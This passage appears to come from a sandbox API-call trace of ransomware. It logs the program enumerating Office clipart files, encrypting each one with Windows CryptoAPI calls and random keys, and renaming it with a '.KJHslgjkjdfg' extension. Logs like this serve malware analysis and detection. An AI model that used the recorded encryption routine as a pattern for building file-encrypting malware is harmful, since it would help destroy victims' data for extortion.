CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.479] SetEndOfFile (hFile=0x130) returned 1 [0197.482] GetProcessHeap () returned 0x990000 [0197.482] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.482] GetProcessHeap () returned 0x990000 [0197.482] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.kjhslgjkjdfg")) returned 1 [0197.636] CloseHandle (hObject=0x130) returned 1 [0197.636] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0197.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.637] GetProcessHeap () returned 0x990000 [0197.637] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.637] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.638] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.640] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.640] GetProcessHeap () returned 0x990000 [0197.640] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.640] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.640] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.640] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.640] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.640] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.641] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.641] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.641] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.641] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.641] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x650c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x650c, lpOverlapped=0x0) returned 1 [0197.642] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6510, dwBufLen=0x6510 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6510) returned 1 [0197.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.643] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6510, lpOverlapped=0x0) returned 1 [0197.643] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x65e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.643] SetEndOfFile (hFile=0x130) returned 1 [0197.646] GetProcessHeap () returned 0x990000 [0197.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.646] GetProcessHeap () returned 0x990000 [0197.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.kjhslgjkjdfg")) returned 1 [0197.648] CloseHandle (hObject=0x130) returned 1 [0197.648] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0197.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.649] GetProcessHeap () returned 0x990000 [0197.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.649] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.650] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.650] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.650] GetProcessHeap () returned 0x990000 [0197.650] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.650] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.650] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.650] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.652] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.652] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.653] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.653] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.653] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8420, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8420, lpOverlapped=0x0) returned 1 [0197.657] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8420, dwBufLen=0x8420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8420) returned 1 [0197.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.657] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8420, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8420, lpOverlapped=0x0) returned 1 [0197.657] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x84f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.657] SetEndOfFile (hFile=0x130) returned 1 [0197.661] GetProcessHeap () returned 0x990000 [0197.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.661] GetProcessHeap () returned 0x990000 [0197.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.kjhslgjkjdfg")) returned 1 [0197.662] CloseHandle (hObject=0x130) returned 1 [0197.662] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0197.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.664] GetProcessHeap () returned 0x990000 [0197.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.664] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.665] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0197.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.667] GetProcessHeap () returned 0x990000 [0197.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.667] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.667] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.668] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.668] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.668] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.668] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.668] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5eae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5eae, lpOverlapped=0x0) returned 1 [0197.670] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5eb0, dwBufLen=0x5eb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5eb0) returned 1 [0197.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.670] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5eb0, lpOverlapped=0x0) returned 1 [0197.670] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.670] SetEndOfFile (hFile=0x130) returned 1 [0197.673] GetProcessHeap () returned 0x990000 [0197.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.673] GetProcessHeap () returned 0x990000 [0197.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.kjhslgjkjdfg")) returned 1 [0197.675] CloseHandle (hObject=0x130) returned 1 [0197.675] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0197.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.676] GetProcessHeap () returned 0x990000 [0197.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.676] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.676] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0197.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.679] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.679] GetProcessHeap () returned 0x990000 [0197.679] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.679] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.679] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.679] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.680] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.680] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.680] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.680] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.680] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x773a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x773a, lpOverlapped=0x0) returned 1 [0197.681] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7740, dwBufLen=0x7740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7740) returned 1 [0197.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.682] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7740, lpOverlapped=0x0) returned 1 [0197.682] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.682] SetEndOfFile (hFile=0x130) returned 1 [0197.685] GetProcessHeap () returned 0x990000 [0197.685] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.685] GetProcessHeap () returned 0x990000 [0197.685] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.kjhslgjkjdfg")) returned 1 [0197.687] CloseHandle (hObject=0x130) returned 1 [0197.687] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0197.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.688] 